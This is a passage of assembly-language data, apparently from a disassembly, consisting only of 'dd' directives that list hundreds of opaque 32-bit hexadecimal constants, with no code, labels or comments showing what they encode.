		dd 3D0D89FBh, 4854AD1Bh, 3D8EF027h, 75F41569h, 0AEE05E51h
		dd 667759B9h, 0FC6B571Bh, 560F2620h, 0DD6F2A83h, 0ABA93F9Fh
		dd 125B7FEFh, 7B46A9BCh, 0DAD02C0Ch, 9944254Eh,	359D7211h
		dd 6CD23D62h, 0F9264AC5h, 0CBC416E8h, 6172C12Dh, 0F3529B9h
		dd 0B3F3FE67h, 6C6D8DC5h, 425A903Dh, 0C7D698B2h, 26183122h
		dd 0F9D9B50Eh, 57C25B79h, 793E6811h, 0D31C490Fh, 3708E431h
		dd 0AC755E7Bh, 0DF060995h, 0D329D0F7h, 262A1899h, 781165B1h
		dd 9BF0938Ah, 23F1ECB5h, 32D095D5h, 0FBF9817Ch,	0D8951138h
		dd 0A532D430h, 0DCF524C1h, 0FA2344B5h, 0CAA7EA1Ch, 0F9ECA2B6h
		dd 65609624h, 0F6EBA32Ch, 4B21E8BBh, 63F3FA57h,	0CD56A6A6h
		dd 6C2A3C3Ch, 5BD15528h, 26EF5156h, 2531404Ch, 65874756h
		dd 0F2A790EDh, 0BA38D28Bh, 762B9186h, 0A66F7D0h, 0F7C31326h
		dd 0A5877240h, 1599E6BBh, 5CA3C0A9h, 4CB89830h,	353AD452h
		dd 8E86315Dh, 0FFFEEB84h, 0E3233Ch, 3A7D52A2h, 45CB5B6Dh
		dd 22E2F379h, 1F1F6852h, 0F765B18Ah, 0E5FFB5A7h, 0BA2BDCF5h
		dd 0AEFF5A22h, 33B83FA3h, 0C3EBE2C3h, 0A9374F5Dh, 42CE0F3Fh
		dd 0B95A3B9Bh, 134B5DB4h, 9A6DB1EBh, 3B48ED77h,	0AA1175E9h
		dd 0A3114E0Bh, 265C2534h, 0BC9E0064h, 7DFB7A74h, 43998AA0h
		dd 0C2C12FF4h, 30437345h, 1CBD01BBh, 0DD09E146h, 658549A2h
		dd 0FA362D5Eh, 250D1DA7h, 65B7E465h, 0FE3437F7h, 83BCB2F0h
		dd 8BA0F0CEh, 0EB79807Fh, 0B3E411E1h, 0B0AC8CE9h, 7593EE52h
		dd 4B4C2AEFh, 0DCD8AFDCh, 57BEAB78h, 0A4093B24h, 630F4C3Dh
		dd 2A16C1DCh, 36D6673Dh, 4B8B025Eh, 85E922h, 0ECCEE5E5h
		dd 0B01ECDB2h, 0A04AEDA5h, 650CDF0Ch, 0C0344BEDh, 0E2191C75h
		dd 0AA0BF749h, 928305B1h, 25EB2459h, 84943BC8h,	0B2580829h
		dd 0BF110F56h, 0E0EBB435h, 4FF9C6DFh, 4BF1D393h, 0BC89C121h
		dd 26015EB9h, 6AFC23E6h, 0CFA6497Fh, 744D1BA5h,	63C0FBB6h
		dd 0EBD24869h, 22C21DDFh, 0A32F0F3Ah, 843AF46Ah, 8911A068h
		dd 4A23029Ah, 3A92B2E8h, 60BFE2DDh, 0B60EB4D0h,	0B87819DEh
		dd 1C7E20A2h, 88FDEDA7h, 1D060612h, 0ACDED600h,	7D966434h
		dd 1F7B66C1h, 4EF2956Eh, 468D39CCh, 4F5703Dh, 6E1C217Eh
		dd 0A459C30Dh, 3F9AD2AEh, 0FC31333Ah, 97F3ACB4h, 44383F6Fh
		dd 0D6B9D9EEh, 0AAC7D554h, 62DA5E65h, 74813C59h, 0A2B082E8h
		dd 66479DC8h, 0FE0AE38Eh, 292F333h, 3A4B3EB5h, 82034DD9h
		dd 2C1BBC29h, 9E3313Dh
		dd 0A72CC408h, 822D8D39h, 0B04A9224h, 22F36CD0h, 0B0FEFD6Fh
		dd 7285E236h, 0F38E5350h, 1B7C2A2Ch, 53CC143Ch,	6FDD194Fh
		dd 0A3D391FBh, 65AB6D9Dh, 0C6BEF969h, 5A5861h, 5F100ED4h
		dd 0C60A3125h, 5591BF85h, 0A2B18907h, 6901D025h, 277E5A88h
		dd 0EB3DEAF2h, 0D8FFB960h, 547EDE6h, 47F9AE7Fh,	7B811B54h
		dd 0FA8011D8h, 4220071Bh, 0D7C14161h, 0F2A6267Dh, 85E5B901h
		dd 24DAEEBDh, 5EBD3E10h, 0AF9699Ch, 7D1EF921h, 0B659AB88h
		dd 0E3D914ACh, 9CD043Dh, 433DE221h, 22173D5Dh, 2F91F1BBh
		dd 669B02C4h, 36865A21h, 0F806B1Dh, 0AB4C9B4Fh,	8D0494Ah
		dd 851FC7BCh, 724BD348h, 0B4B13E33h, 0E552727Dh, 1878EFB5h
		dd 0BD6086F7h, 71F490A1h, 0DEA3C6E8h, 369F0BBDh, 8B7A8878h
		dd 9BCE28D6h, 0D2D74948h, 0AA1EB343h, 52C2A3ABh, 61FAF156h
		dd 0A2BBD345h, 0CFE90305h, 10D9AF11h, 575AE30Dh, 0A9C13BF9h
		dd 40A09430h, 0BAC993A8h, 0E1CDDF45h, 61B6A7F4h, 4BD8125Ah
		dd 0E11CE96Ch, 0D6C514A0h, 0BF302250h, 0AF230D10h, 5E10DB90h
		dd 4ABB5F4Bh, 0AEFF319Dh, 2227ADFFh, 1D190136h,	0B4E64A22h
		dd 5614ED4Ch, 9FCE17A5h, 85EAC51Bh, 0D83428A2h,	6220A9E5h
		dd 36FCEE0Bh, 5D2BF177h, 5584359Dh, 70D31505h, 69EE6F35h
		dd 0C346C799h, 0CECA637Fh, 0CBB30D63h, 18312898h, 0AB422FC4h
		dd 0A01B6396h, 0C7E73D35h, 854C75D7h, 0E3532ADh, 0A2BBB3BBh
		dd 1A582FB2h, 35053FE9h, 0C055CE48h, 0B5415F09h, 8CC243C6h
		dd 56A63E97h, 82FB8DACh, 0CEDEFFh, 6D2EDC43h, 0B63AC570h
		dd 79B8E213h, 237AD4E5h, 0DEA5F5E7h, 7BB898B3h,	0A2D63903h
		dd 0C08DBB4Fh, 0D45000EEh, 27810549h, 0D4F025F5h, 8535624Dh
		dd 90D69C0Ah, 865F4858h, 9DD8A81Eh, 1F7FFF4h, 6AC5003Ch
		dd 4B5E16ACh, 0E4A1D619h, 0BAA3F8C4h, 0E410567Eh, 3E49532h
		dd 24CBF2E9h, 2349DC3Ah, 90155E69h, 8280FF7h, 63EDCCECh
		dd 0B97091B2h, 21ED95E5h, 0D9F07D81h, 0CB468CC8h, 60DD8579h
		dd 56FF74ADh, 8F5E236Bh, 2F45E1A4h, 27B830BCh, 0D8B84AF1h
		dd 57AF6E42h, 429973E2h, 91FFE5A6h, 0EFD08AABh,	0AB31FDE3h
		dd 73033EB2h, 26999E51h, 41B62E9h, 533316A0h, 8652C305h
		dd 2295B89Eh, 0F5812C31h, 9D48D514h, 96E62272h,	834D2CBCh
		dd 0DC09EBEAh, 7264B8F1h, 0FB8230ADh, 0FD8188B1h, 0BCCE41B5h
		dd 0D8DE6217h, 0AB405320h, 123224EDh, 0BC3FEB2Fh, 0BDFF982Bh
		dd 0C48A259Ch, 1E342FC7h, 7495328Ch, 42BA9665h,	24661909h
		dd 5E5DC953h, 7FE11E0Dh, 0AA20CD7Dh, 0C9AD2372h, 994598F9h
		dd 6D9E0B3h, 2EDE5EFh, 0ADBD1CF2h, 7D193101h, 665A623Eh
		dd 0D9551077h, 0FB239ECFh, 0FF1B1EA1h, 6731959Fh, 0CDF8DDB1h
		dd 0EC876DFCh, 0B47AEB35h, 5ADD082Fh, 4CAF6D51h, 4BFD60B9h
		dd 0B6F715F6h, 34A3D844h, 0B79468E3h, 0ED23A5Bh, 0C553C8C8h
		dd 0B02BE6DFh, 16B28A3h, 37A936B7h, 0EBA22C6h, 4942FDB9h
		dd 493AE525h, 0FFA5192h, 6A0252B3h, 0DEFFBF1Fh,	248EA8C5h
		dd 0AE1BE9C0h, 0D1CBDD8Dh, 304969BBh, 0BAE0D856h, 8D1B252Dh
		dd 0A97366FAh, 6B2C0729h, 0DED75375h, 0C42C22F5h, 370B6EF4h
		dd 5F23077Fh, 3ED2B0DEh, 806EC94Ah, 0D8E59F29h,	26BE7F04h
		dd 3DFB3A7Bh, 0B5DB0A4Dh, 79ADD035h, 53B6BEF5h,	0CE1CD7B9h
		dd 6534AF5Bh, 0B64B951Fh, 0E39D71ECh, 0A9853568h, 37BBE83Eh
		dd 0BA76D626h, 6B829E02h, 8CF62EB1h, 7C36D4CFh,	0AC572DA3h
		dd 0D2CDAC9Bh, 1D10951Dh, 0A55BD84Dh, 1755F45h,	6F617AB5h
		dd 613096D5h, 6ACEBA60h, 0B927B000h, 95D2A9C4h,	0FE3C9468h
		dd 667D43Fh, 0AFB04F3Eh, 0CCE05EBh, 0D7CEF521h,	1DEF64FBh
		dd 9CBD485Dh, 0A3C10C20h, 80EE353Bh, 862EFA41h,	59DD7328h
		dd 711ADD01h, 2D8CAB25h, 0C7686396h, 2D7ADF7Eh,	0AEE3D044h
		dd 172CC11Dh, 1FC5F562h, 835A8534h, 9C07A71Ch, 38EA0759h
		dd 92CCC677h, 5DD13147h, 5CF1093Bh, 2C869CADh, 0AE5FE962h
		dd 862D07BEh, 0DA9CD74Ch, 8316D212h, 54992722h,	278F820Dh
		dd 0D92C921h, 2018DBF6h, 831EE413h, 977AAD7Dh, 77F00363h
		dd 823C74ACh, 0EEC5CD6Ah, 509FBC10h, 851EDA17h,	91DEFFE4h
		dd 0DE110A67h, 5F99AD83h, 0CECA790Fh, 9009E363h, 0C5FCADFEh
		dd 0C51D312Bh, 0FCEF063Dh, 6ACDAF12h, 0CEA3023Fh, 0B79853E3h
		dd 8FBFABBBh, 0A55A6065h, 69E2B275h, 1469D39Bh,	0B6FBF10Ch
		dd 0BBB00F9Ah, 3603A5Ch, 70F208FDh, 4C5AAD72h, 5DF84FD1h
		dd 0F4C20014h, 4F65D5DAh, 0C065BBB0h, 0AA7C3CF4h, 281E1C6Fh
		dd 4F13A1B4h, 33BFA056h, 399CA973h, 0B69A9F03h,	2B212563h
		dd 32D23C5Fh, 0C9BFDF6Dh, 505992D3h, 6CD3DD57h,	0AF223611h
		dd 46B13BB3h, 0AEE84A01h, 22E14C2h, 19333C41h, 0BB4287D3h
		dd 2DF173DCh, 4270EC56h, 9034C589h, 4F5840Eh, 0AE993CA2h
		dd 45EFA1F8h, 0B963FA41h, 0BCC97B2Bh, 9551BE23h, 1C7F1A3Ah
		dd 6D135EBh, 83530C16h,	27FE739Ch, 0A62297BCh, 0A5DA46Ah
		dd 0F7B8BCCEh, 9CD8AC68h, 0D24579AEh, 697DFB4Ah, 0AF0C52FAh
		dd 70BB3D0Eh, 24D6BB5h,	9035BF21h, 31100300h, 0D51BF97Ch
		dd 0B0AE9631h, 0F987A31Eh, 0D223D1CBh, 29A4C9Dh, 1A2C60C7h
		dd 0FA05E769h, 0F35F6FC9h, 6039FE56h, 609A769Dh, 265B3368h
		dd 3C9C89FEh, 7B690AA1h, 0F3CE843Fh, 644B240Bh,	8D457980h
		dd 0C806AD1Ch, 0BD227BEBh, 0B2331349h, 82A44A07h, 97B4B88Bh
		dd 746D758Dh, 0EA3C7ECh, 434CE115h, 0ED8F6E6Ah,	0D8EF3741h
		dd 2DACEB1h, 9752BEAEh,	0A01EB5DCh, 3164B145h, 0CC78C3D5h
		dd 0B5251F0Ah, 0CF284CFBh, 0F418F831h, 703490DFh, 0D0E90709h
		dd 2E3249CBh, 0BA23000Fh, 10A7C72Dh, 571673F8h,	82BA5AB6h
		dd 0EF92FB17h, 8BB39BF9h, 0AEFBFE4Ch, 1F98826Ah, 0F950A9C7h
		dd 3CF48976h, 3F730A6Dh, 72E43141h, 74CEC2DEh, 82B481FFh
		dd 0A1961C41h, 4434D74h, 643F0F14h, 80109ADEh, 54FF4961h
		dd 0AEDE0241h, 727B7EA9h, 32336E2Ah, 6DF24D23h,	1D52D147h
		dd 775563A6h, 1A64D0E1h, 184EC843h, 0CD67A5E3h,	0B25BDF25h
		dd 26D28272h, 248CEFA9h, 0F01FAE75h, 73E34575h,	0D522CA38h
		dd 33CC111Dh, 6AC132AAh, 0B2AD302Ah, 1E89F6FEh,	70F936C5h
		dd 0EC46AA0Ah, 50A5CC1Bh, 0A22F74Eh, 0A6DB1E2Fh, 692B258Dh
		dd 0DF659564h, 0B350980Fh, 2B78403h, 6C9276B1h,	0B932A4F0h
		dd 560EABD5h, 219CD682h, 1CCEF9A0h, 1586C140h, 471B1AC3h
		dd 0CB420B68h, 0B3154851h, 41C9B39Bh, 0B2F0A80Fh, 1ECC71D2h
		dd 0DE947044h, 5F3510B1h, 7FA31DF9h, 0B89C22BCh, 70EA2DC0h
		dd 9F4FC2D9h, 0D541F1DAh, 20F84D89h, 9D449142h,	0BAC26E06h
		dd 0C15FF510h, 8356E1E1h, 8199DD56h, 0D6CFA871h, 89538D09h
		dd 0DC096244h, 376D25FDh, 893AC683h, 67B98045h,	27FC7FE5h
		dd 9E1711A8h, 1B35E823h, 2380895Bh, 0BFDBB24Dh,	4EBFEC9h
		dd 0E958301Ah, 0A4D84A3Ch, 9EF0D30Fh, 0C5F19BB2h, 3F6A8252h
		dd 54D108DAh, 82CE5944h, 0DF687441h, 0D9BB615Dh, 1E41AAFCh
		dd 0F6000DF5h, 9692F98Ch, 0C536993Ch, 71F0A1CBh, 0A158EBB3h
		dd 77A25BD9h, 977EEC40h, 0BE5257EDh, 82FFAB45h,	9BA81D6Ch
		dd 0AC5DC9DCh, 564F6364h, 0DEFB1681h, 0B77C6254h, 0DD866548h
		dd 0DF3BD91Dh, 5EF7349Dh, 0D62FF77Bh, 26408DA7h, 105B5211h
		dd 17E3BDDAh, 0EBBD030Eh, 8282A1BCh, 2B1C8238h,	5F519D33h
		dd 64A93261h, 235C83D6h
		dd 9886C37Bh, 0EAE779B2h, 5C14501Bh, 800F016h, 922289A0h
		dd 4394B269h, 0F83B0A56h, 0B9825A7h, 13E33860h,	0DD234943h
		dd 996DF6DCh, 841FF58Bh, 0FFE5C563h, 10E98EDCh,	0E22E37B0h
		dd 0A959B539h, 4770B4F7h, 4984ABDAh, 5ADA5FEh, 0D89C3428h
		dd 64AD946Ah, 701E0AD2h, 37D23671h, 8410FA1Fh, 0A3C5758Fh
		dd 4E25D8Eh, 0BB864D3Dh, 0BD3AD965h, 0BF0E03D4h, 39D0A914h
		dd 4AB74BA1h, 43728D33h, 272C7537h, 4398FDD2h, 25A8F02Dh
		dd 736857B7h, 126F2397h, 0E9DA6955h, 7C26BDB2h,	6A72F440h
		dd 43F93306h, 0ADCA60C9h, 0CB1E2514h, 44E32840h, 469FE2ECh
		dd 0B0AA2532h, 0A575807Ah, 7579FA41h, 0B17977BBh, 222758EAh
		dd 0BFE48BE9h, 61108900h, 0A5F03140h, 0B6931F96h, 31C4A0A2h
		dd 642DE763h, 0BF81B419h, 394CDA9Ch, 0AB1A9904h, 738E4941h
		dd 0F360A5D8h, 50A04E79h, 0B71EA504h, 42EF421Bh, 7102D8E6h
		dd 2754F68Dh, 0C1F14A10h, 6733E32Bh, 0BE8BFB66h, 0E7C2837Ah
		dd 0B73BEA4Ah, 0BC5A1CC2h, 718BEF22h, 86BF5B3Eh, 8B1E289Dh
		dd 41E947DAh, 73BB5FF1h, 825F1B2Dh, 0E3490AB4h,	82B9BF89h
		dd 0FAEFB292h, 7FB7A978h, 8E967052h, 83B91747h,	463CDC3Ah
		dd 65B735C8h, 0C2F94107h, 0A6B0673Ch, 73A99F6Eh, 0F1E3964Eh
		dd 0D0C244Dh, 4CC0B6C9h, 9DED96Ch, 0E6F5B0E1h, 0C98D7D4Bh
		dd 15A6CB9h, 0CE286990h, 0C51FF8E1h, 5AD87544h,	43FA3163h
		dd 0FB9AA987h, 0D1CCD530h, 5E3F5533h, 0ED4ED09h, 0A30B8F42h
		dd 3DCA391Dh, 1FF8C0B6h, 0C439DE7Dh, 2BCBAF7Bh,	8F5D3193h
		dd 83718209h, 0BFC46258h, 0C44F29D1h, 0C506055Fh, 19333155h
		dd 0D440CBD0h, 0CFFEFE72h, 0EC6A41F2h, 0A0D55868h, 19FBDDB9h
		dd 0B885D0D3h, 0A8B2BD92h, 0C02C479Dh, 42CE2A86h, 0BB6E510Eh
		dd 53B6D9A1h, 93D32D8h,	592CD3C6h, 0EB66C95Fh, 0CAFB8063h
		dd 0C641E9E4h, 8A21F579h, 1B3391C3h, 6D1B0179h,	6D1B40C6h
		dd 0A2BEF07Eh, 9DEEB70Bh, 0F3A4315Eh, 0A3CFC889h, 0A5AAB1Ah
		dd 9BF336C8h, 0FA4DC1E9h, 42BB3927h, 60302F3Dh,	0A692F4A6h
		dd 0F6566A21h, 773B4C2Bh, 0ABFEC9E2h, 37AD350Fh, 8958030Ch
		dd 4B64F8E8h, 0BC5D36BDh, 536A910Bh, 2169BE4Dh,	44D2C93Bh
		dd 0EEFA40BAh, 8382CC94h, 4F13F7E7h, 0A8E32CC1h, 86E0D93Dh
		dd 700533A8h, 0D21EA87Eh, 76E15489h, 96984DABh,	9011501Eh
		dd 0B786915Ah, 15610DFFh, 9DB3ECC2h, 54839DDDh,	38720FC7h
		dd 0B3E4C9E2h, 4355AD64h, 0E2B90875h, 78FE811Fh, 0E711F877h
		dd 3E082E97h, 0BFD2B7C8h, 0FA000372h, 3EC5230Fh, 0CA3A25B1h
		dd 725E5DCFh, 0FC2252D3h, 0D0DA4D76h, 3EB0AF6Bh, 0FB6B9EC9h
		dd 0E6FFE8BBh, 185A204Fh, 0FADFF23Ch, 44312331h, 0EB7FBF01h
		dd 5EBA3595h, 0B6948367h, 2DDEE9Dh, 353AA4DAh, 3576CF8Eh
		dd 97D321CFh, 34C0189Fh, 6A09E812h, 0F991C81Bh,	85AADB4h
		dd 5C7FA860h, 0CE417735h, 0E37A8541h, 0E7167132h, 349E199h
		dd 0FE60011Dh, 1D7EB3B2h, 4E2D305Fh, 0BBC7EF8Fh, 303BC8B8h
		dd 8120B846h, 2DACF2EDh, 0F6169AD1h, 6066F060h,	2C3626Dh
		dd 0C1023D19h, 0D595D142h, 298AB23Ah, 14626D5Eh, 44FC4F61h
		dd 0B3FC6943h, 0A7640877h, 130089C4h, 0FD9F534Fh, 65CE1B1Dh
		dd 0B43A0194h, 6A1DE759h, 0D04B0E99h, 822CAEC1h, 7D5CA74Bh
		dd 0A720687Fh, 0EDE09BD0h, 6858EB8Dh, 0CCCD15FDh, 53C3C00Ah
		dd 64C401Ah, 2609B1D4h,	13AE3930h, 3CF89B4Bh, 99DA3DCCh
		dd 4E5262ACh, 64BD838Ah, 0EC08DCFBh, 187FD70h, 8BEF687Fh
		dd 40EA33F5h, 230D72Ah,	0A2230536h, 0F1894991h,	5681CC6Ah
		dd 634D1EB5h, 5B54DA61h, 680CA260h, 6A5E52B9h, 0DD64409Ch
		dd 0B7161FCDh, 0F2EAD38h, 238AD55Dh, 9E0DFD0Ch,	0C82EDFFEh
		dd 3A101BDEh, 0E0F4AA22h, 0E75ABEC1h, 863932B5h, 8A432924h
		dd 4E2B1F0h, 0A11A82A2h, 4FCE625Ah, 0A0191F7Dh,	0BBF03C0Fh
		dd 2EDE36B5h, 0D8140924h, 713C9D60h, 0AA3769AFh, 0A2294BBBh
		dd 541086Ah, 0B145B57Ch, 5071AABDh, 4E720798h, 50381219h
		dd 0B14128C4h, 1AD3581h, 85D3E0Fh, 5B508DC9h, 84A0F876h
		dd 64D23DFAh, 712AC8BAh, 0F1028833h, 608F8115h,	0D84DF567h
		dd 0E0A76E43h, 673A9D72h, 58E8E3BBh, 8EC08AD1h,	0C0DF790Fh
		dd 8AC60C1Ah, 43E26F0Eh, 40C472A6h, 3C34B1FDh, 867583ADh
		dd 57DC5E45h, 9EDDEF99h, 6AB72526h, 3C2EEC35h, 0F5D00EDh
		dd 8653F061h, 441FCC57h, 7B5A4C54h, 3DF0CFE3h, 3C21A717h
		dd 0C12F37E9h, 0BA64A722h, 2ADAE660h, 357411B7h, 4993564h
		dd 0BB3FFC11h, 584D39C9h, 0F1D8BAAh, 9D0C92E1h,	21653275h
		dd 1650A6BBh, 0AD4B9ACAh, 259A01BFh, 0BD4BF7FFh, 5EDB0C0Dh
		dd 0C2032E7Fh, 3A145903h, 0C19780F4h, 35780373h, 72607E91h
		dd 4196EDF1h, 8BC3675Bh, 0A35AE0DDh, 0B5532C24h, 5596CC1Eh
		dd 2A9264B4h, 0DA2262BFh, 8A6565h, 0A16D291Fh, 0F4354501h
		dd 10710423h, 2283EE4Bh, 0EC2ADC8Eh, 86F38329h,	71518EB2h
		dd 0A280B637h, 19C6D11Dh, 0CFBA3DB1h, 0E65A8945h, 4B4EF458h
		dd 3952DDBAh, 0F7711412h, 528ADE40h, 58B23F9Ah,	41C91963h
		dd 5E13E96Fh, 377CF8A9h, 7EC3D38Ch, 21F14AD5h, 0ADC28DECh
		dd 67581154h, 0EC102664h, 1A0B4963h, 2418DFF7h,	0CE0FEA39h
		dd 932CA14Eh, 4B44DDBBh, 9FBE6F07h, 0EAF7EAE6h,	0C5B6A965h
		dd 24FC66BCh, 2809E9F4h, 0E46CD0B2h, 0A34474DCh, 6F90BE2Eh
		dd 0B4EB6115h, 9F28EC4Ah, 9C1C4B7Fh, 0F20DE967h, 4FB9BBE4h
		dd 495D6631h, 73C458Fh,	0D0373611h, 0AAC9302Bh,	38B2E332h
		dd 70BE4582h, 0D55A1D97h, 858A43B2h, 0CD64484Fh, 0CDA8D9FBh
		dd 0EE28F401h, 0A5FFAB65h, 0E23764B6h, 0B4455824h, 2298AE45h
		dd 6C802969h, 0D5EDDD91h, 0F2F18226h, 3938DDA2h, 85B59012h
		dd 0E62F7619h, 337CB547h, 0A222C3CAh, 943EF9ACh, 96BA5A7Dh
		dd 0A54626B8h, 51582F1Bh, 6B7A1240h, 427A64CAh,	5607E07Fh
		dd 0FF041B8h, 0AAFA6F40h, 0ACDF45BBh, 867D217Fh, 11501BB2h
		dd 23F70F53h, 6A2502BDh, 0EC401584h, 6BAF5641h,	0C6EF93ABh
		dd 69CFADCEh, 107F836Fh, 7001AC75h, 0B03EE2FCh,	230EF1EAh
		dd 0E32AF19Ah, 0A3CE1591h, 0A576564Eh, 0E5B56B3h, 3C511330h
		dd 0AC55E0BAh, 0A9390174h, 213DB650h, 3A71386Dh, 0AADE7C94h
		dd 4629FBBDh, 3EE94666h, 75FF8F7h, 6DFD9B36h, 354F993Ch
		dd 0BFA2ED8Ch, 8CF78423h, 996966B3h, 8AFD5745h,	36F8596Ch
		dd 5FA5F27Bh, 0FAFBE891h, 0AD583D45h, 0D53AA0Bh, 0CFF22C3Bh
		dd 8A5AA045h, 93DC643Ch, 0DC86D6AAh, 0C4A58DDEh, 64CF6F39h
		dd 0B54E31F5h, 2E76C1CCh, 0B75D117Ch, 0BF3319F4h, 4A4FB82Dh
		dd 672D0C39h, 26FB2E65h, 68A5455Eh, 0DED8631Eh,	9FD2793Ah
		dd 12F9470Ch, 836BF8C6h, 171AAD19h, 2EB3E962h, 4BF3372h
		dd 0FA1E074Ch, 0E34C8D33h, 36AF6D5Dh, 463AED4Bh, 64332662h
		dd 597A8345h, 200097Eh,	24C64EB5h, 0A6E07D5Ch, 0C7CE279Ch
		dd 30226980h, 54312731h, 0AB5FFA9Dh, 0CF7D1C4Fh, 75A45D03h
		dd 0EA3A0AA7h, 23B7DE49h, 7833E7B6h, 0C64E42E1h, 0DEBDFBCh
		dd 0A06E4392h, 46B52D00h, 2E67537Ah, 4E6E43A1h,	4BE4E2D8h
		dd 16B7EE12h, 4077BD6Ch, 6586C7D9h, 23D25CBCh, 0F0BA2C61h
		dd 5DAD2797h, 4BBBF1F1h, 0AD4B3797h, 0D7C9350Bh, 0F677388Fh
		dd 0C5AE8EE1h, 5BA7B58h, 2315A55h, 0E42FFFE6h, 19E0CD83h
		dd 24BDDF19h, 0AD126425h
		dd 87122EA1h, 49123BD3h, 0A0650355h, 0E86C46Dh,	7FBA042Eh
		dd 82BF25AAh, 68C8CD0h,	32CC05Ch, 2060F4BBh, 0C404D29Dh
		dd 9159F200h, 37BD3D30h, 6B7CE60Eh, 822CC475h, 0C09CBBCAh
		dd 6226115Dh, 49E94C1Bh, 2E653D36h, 7B964DCFh, 7CE501C6h
		dd 1FB9CF12h, 0BED57253h, 7EEB955Eh, 7EF01D4Bh,	33CD9543h
		dd 2815555Dh, 77CE3EDFh, 5E8EAE89h, 57EC7A28h, 82E951CDh
		dd 0AEFDACA2h, 324E983h, 0D0ED4D38h, 5CD5B79Dh,	8AD90215h
		dd 12BFB831h, 0BBBDB38Ch, 5CE85879h, 3DECB8CFh,	0B1EEF5FDh
		dd 830B490Eh, 9B50EBE3h, 1690C435h, 0AA2AAE47h,	43855D01h
		dd 0E9A0B9Bh, 0D8EC2B77h, 0E461F73Fh, 70DB843Ch, 56ACDAA3h
		dd 87F0B4DEh, 0AF4F51EEh, 0ADBFBD6Ch, 873FD2B2h, 0A35411DBh
		dd 59BA3110h, 0C87B2D30h, 1B97736Fh, 8BF3FF5Eh,	0CA28B97Eh
		dd 71293A9Dh, 0BB9ACC00h, 6D1FE7B4h, 0EBF90AAh,	4E1EFE59h
		dd 25F41EA9h, 7AE412BAh, 8A963F41h, 67FADDC4h, 8B198C67h
		dd 6BF0CC94h, 9871ED23h, 0D32B83EAh, 5EE7F27Fh,	2E205545h
		dd 0A2C671E4h, 1EF07D3Ah, 97583288h, 0A3506903h, 6D3B2539h
		dd 29CEA865h, 409733FEh, 0A6913D92h, 0A091DA41h, 0EFC06BADh
		dd 0B8E7DF5Ah, 2EF320Dh, 3AA89935h, 651A846Ch, 0AA879FA6h
		dd 0BEB5593Dh, 989E6D95h, 0AC46B554h, 2226D3E6h, 0CC285963h
		dd 0DF6F866Bh, 75765F01h, 31494235h, 743E60C1h,	49A28E75h
		dd 12BEBB0Fh, 3C5C86C9h, 1E8C313Fh, 47592709h, 19AFF2C7h
		dd 0B0ECC2D3h, 8AC3CBCh, 0CF305A19h, 0E954B70h,	4A6CF0D5h
		dd 0EFEF2C53h, 9A4A173Ch, 712BDC63h, 2C19059Eh,	68185F44h
		dd 0FE1B4856h, 68B2E3F9h, 8A2656D2h, 0E60C30h, 104932B9h
		dd 154E5B79h, 0C763193h, 0DDBE5663h, 7A66156Ch,	624D9336h
		dd 763EF795h, 76BB866Ch, 64CD7D62h, 7CAB9BB9h, 0B008BF10h
		dd 105F81B8h, 0A241CC56h, 0CFCCA8C0h, 27CA5E79h, 0CF163421h
		dd 301B4EBAh, 6B7979F1h, 0B1EC4AF4h, 591B521Fh,	0B5B736E4h
		dd 34F0BA3h, 2375ABBBh,	964B333Eh, 68BBAE52h, 65209CB4h
		dd 3D6CA89Dh, 1C811D85h, 2CDADC43h, 2BB5DF25h, 0E238F185h
		dd 86AE5A33h, 0E192EB96h, 0A4AA95BDh, 421B846Dh, 64EFB1D4h
		dd 82F71EC1h, 0D3108200h, 0A208F831h, 6D26B685h, 0AC210216h
		dd 8BB5AFD3h, 2DBB9967h, 5C894449h, 9D17AD63h, 0A61DDF2Ch
		dd 20BB0B1Dh, 4049AA60h, 0C4ECB111h, 8FF7F41Eh,	0DE3E6181h
		dd 8BF35D2Dh, 0A28434E1h, 0FD03D5CEh, 6C5AD743h, 5F7ED17Fh
		dd 83EA236Dh, 2E92BCBBh, 0BB5C3ABAh, 4DB7AB4Ah,	4D7F9E4Ah
		dd 3AFDC9D3h, 9836DC25h, 0E3E113E5h, 85FDAA5Fh,	3F836FBDh
		dd 633B3D38h, 0AA8DAB43h, 7F8F364Bh, 0D57A2FE5h, 0DBF1BC3Dh
		dd 0E11829B9h, 0BC53E975h, 72789062h, 0A85AAB85h, 2526C0F2h
		dd 9DC0CADh, 62CF6633h,	3F3EEE14h, 0A14CEAF0h, 7D1ED4B3h
		dd 5ADA9305h, 228C8527h, 8C7ABE67h, 9E2A90Eh, 1D0DF28Dh
		dd 98C12CE2h, 6D2C9742h, 43C429Eh, 0CB0ECEBCh, 7743EEC0h
		dd 17B436ADh, 0A2A9696Bh, 0D779FF76h, 0EB4864Bh, 32B02819h
		dd 0BE057F40h, 271E43ECh, 0F87B9C74h, 71C80D4Fh, 3831897Bh
		dd 0A74D6699h, 0D70AA216h, 0E41C3CDh, 3C1A407h,	8A5C64B5h
		dd 0F878FA1Ah, 53AF1404h, 900AB605h, 0A296D1A6h, 281C2D1Dh
		dd 1713DE62h, 8551EC60h, 0CF309FFAh, 0BF9752C9h, 0AE16FB4Dh
		dd 0FDD4A49Dh, 0E0C20923h, 652A8D01h, 865E9110h, 46C7716Eh
		dd 600C2433h, 0B420261h, 3BDB346Ch, 115C1A8Dh, 0E18D285Eh
		dd 0FA148C22h, 4B5DFAFh, 96DE165Fh, 1906CD5Eh, 6B85AD45h
		dd 0AF65C80Ah, 6E5EC831h, 0FCF2E43Ah, 6730BAD4h, 6B2C44DDh
		dd 3E1D1275h, 0F188005Fh, 3D57F21Ch, 5209C842h,	9BE34423h
		dd 1E550ABDh, 919AF828h, 7E0B7559h, 269C1045h, 0E071326h
		dd 0E7369670h, 2BDB04CCh, 67DFD3B5h, 9535B145h,	28B6CEBCh
		dd 2F220435h, 61823423h, 6CE9D2E2h, 0C7E597D0h,	4149084Eh
		dd 617F9BC5h, 7B9A2717h, 6305F23Bh, 90135CABh, 0C77ECA34h
		dd 6F16D27Ch, 0AF620ACCh, 1F1ACE31h, 0A92EB543h, 33E6943Fh
		dd 793B3141h, 2601B2ECh, 0A4AEBCC4h, 4C0E4BB0h,	0DEB944B4h
		dd 0E9421B1h, 60F1957h,	0BCE5E23Fh, 458BA23Dh, 0BC7FF87Ch
		dd 0DE4ED7E3h, 97964EBBh, 4E01FDE3h, 0CB1306C3h, 0C52E8074h
		dd 0FD6E67F4h, 768094A1h, 0B0387E25h, 25FED902h, 0DAC4E839h
		dd 9562F489h, 7EADFCD2h, 0AB671B31h, 489CB2EEh,	7A41723h
		dd 0C79821B1h, 0DE39B1ACh, 860EB111h, 20A93B3Bh, 0AA26C2EBh
